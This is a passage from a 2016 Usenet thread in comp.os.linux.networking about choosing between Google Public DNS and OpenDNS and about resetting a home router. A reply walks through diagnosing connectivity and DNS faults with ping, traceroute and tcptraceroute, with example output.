time... The changes I made were always related to user-names, > pass-words & pass-phrases, time-zones, and ensuring that some settings > were enabled/disabled e.g. Firewall Protection or UPnP etc.. FWIW, I > never attempted to change setting in any PortForwarding tabs. > >> "...and resetting things to the factory default >> will get things "running". May not be safest, but is easiest for them. > > If I read this correctly you are suggesting that the ISP changed the > settings of my router. I assumed by changing the default login gateway > username and gateway password would prevent anybody accessing my router > including staff of ISP; Am I mistaken? > >> It may be time to replace the router - > > Because the equipment is relatively old I am now considering replacing > computer and router. > >>> Going back to my original question, which DNS server is preferred - >>> Google Public or OpenDNS >> Both "work" - but understand that the sole reason for the existence of >> google is to provide "targeted" advertising, based on what they learn >> about you. OpenDNS is less obvious, but you're not getting something >> for nothing. From a privacy standpoint, it doesn't really matter that >> much - your ISP (or VPN provider) can still see who you are looking for >> and/or connecting to. > > Noted, thanks >
[toc] | [prev] | [next] | [standalone]
| From | F Volker <here@home.net> |
|---|---|
| Date | 2016-09-08 10:15 +0700 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <nqql5c$1h76$1@gioia.aioe.org> |
| In reply to | #3848 |
On 09/07/2016 04:36 AM, Moe Trin wrote: [cut] > It may be time to replace the router - but the idea of the hell desk > being able to reset things is a cost saving measure. An alternative > might be having a reset button on the router, and when things fail, the > help desk staff tells you to push that button. Is that a better choice? > Maybe yes, maybe no. They could also send out a tech to your house to > reset things, but that is sure to cost you more. Hindsight is a beautiful thing :) As I mentioned in my previous response "It never occurred to me accessing the router settings!" My router has indeed a reset button which if pressed for about 10 seconds or so will activate a complete reset to its original (as purchased) state. It would have been most revealing if I had the mindset resetting the router before initiating contacted with my ISP... maybe we wouldn't have this particular conversation. But rest assured I'll remember if this 'challenge' recurs. >> I am on Linux Mint 17.3 KDE. > That's the computer, not the router. I mentioned it for informative purpose only. >> Going back to my original question, which DNS server is preferred - >> Google Public or OpenDNS? > > Both "work" - but understand that the sole reason for the existence of > google is to provide "targeted" advertising, based on what they learn > about you. OpenDNS is less obvious, but you're not getting something > for nothing. From a privacy standpoint, it doesn't really matter that > much - your ISP (or VPN provider) can still see who you are looking for > and/or connecting to. Thanks, I'll be guided accordingly.
[toc] | [prev] | [next] | [standalone]
| From | Moe Trin <ibuprofin@painkiller.example.tld.invalid> |
|---|---|
| Date | 2016-09-08 19:34 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <slrnnt3f9m.sv0.ibuprofin@planck.phx.az.us> |
| In reply to | #3881 |
On Thu, 8 Sep 2016, in the Usenet newsgroup comp.os.linux.networking, in article
<nqql5c$1h76$1@gioia.aioe.org>, F Volker wrote:
>Hindsight is a beautiful thing :)
Absolutely!
>My router has indeed a reset button which if pressed for about 10
>seconds or so will activate a complete reset to its original (as
>purchased) state.
Provided that when this is done, "things work properly", this is a
useful feature. One must then remember to put in your personal
settings, such as changing that "admin:admin" password ;-)
>It would have been most revealing if I had the mindset resetting the
>router before initiating contacted with my ISP... maybe we wouldn't
>have this particular conversation. But rest assured I'll remember if
>this 'challenge' recurs.
Your system probably has "ping" installed.
[dawn ~]$ which ping
ping is /bin/ping
[dawn ~]$ whatis ping
ping (8) - send ICMP ECHO_REQUEST to network hosts
[dawn ~]$
A problem is finding a host out on the Internet that will respond (ping
has been abused so much that many Internet hosts disable the responder).
Lessee, www.ibiblio.org is a host in the Eastern USA, and it has an IP
address of 152.19.134.40. I choose it because from experience I know it
will _usually_ respond to pings.
[dawn ~]$ ping -c1 152.19.134.40
PING 152.19.134.40 (152.19.134.40) 56(84) bytes of data.
64 bytes from 152.19.134.40: icmp_req=1 ttl=48 time=126 ms
That shows I have a working connection to at least some part of the
world. Next,
[dawn ~]$ ping -c1 www.ibiblio.org
PING www.ibiblio.org (152.19.134.40) 56(84) bytes of data.
64 bytes from www.ibiblio.org (152.19.134.40): icmp_req=1 ttl=48
time=436 ms
This shows that my DNS can discover the IP address of that host. If
the first step fails, you don't have connectivity. If it works, but
the second step (by name) fails, something is wrong with the DNS or
DNS setup. Note the "extra time" that the second test took - that's
mostly the time needed for the DNS server to figure out the name/IP
translation. It helps to know the hostname and IP address of several
systems "out there" that will respond to pings. Two other hosts are
"google-public-dns-a.google.com (8.8.8.8) and it's brother
"google-public-dns-b.google.com" at 8.8.4.4.
If you are curious, there are two other tools that MAY be installed on
your system - traceroute and/or tcptraceroute. Both use a trick with
the IP header "Time-To-Live" parameter, and depend on hosts along the
path responding with a "you didn't throw the ball far enough" message.
This will allow you to discover where out on the Internet the connection
is failing. See the man page for "traceroute" for examples and a better
explanation. Still another tool is tracepath, though I find it is more
dependent on the external systems "following the rules".
Ping will "fail" if the destination host is down, or doesn't want to
respond. Traceroute is less dependent on the destination, but some
relay points along the route may drop the error message (ICMP type 11
code 0 - "time-to-live equals 0 during transit") that traceroute uses
to identify the intermediate hops. The programs are similar, but
complimentary - one may work while the other may not. I prefer the
"tcptraceroute" program (equivalent to "traceroute -T" in a Debian based
distro) because it has a slightly better chance of working than basic
"traceroute".
Old guy
[toc] | [prev] | [next] | [standalone]
Page 2 of 3 — ← Prev page 1 [2] 3 Next page →
Back to top | Article view | comp.os.linux.networking
csiph-web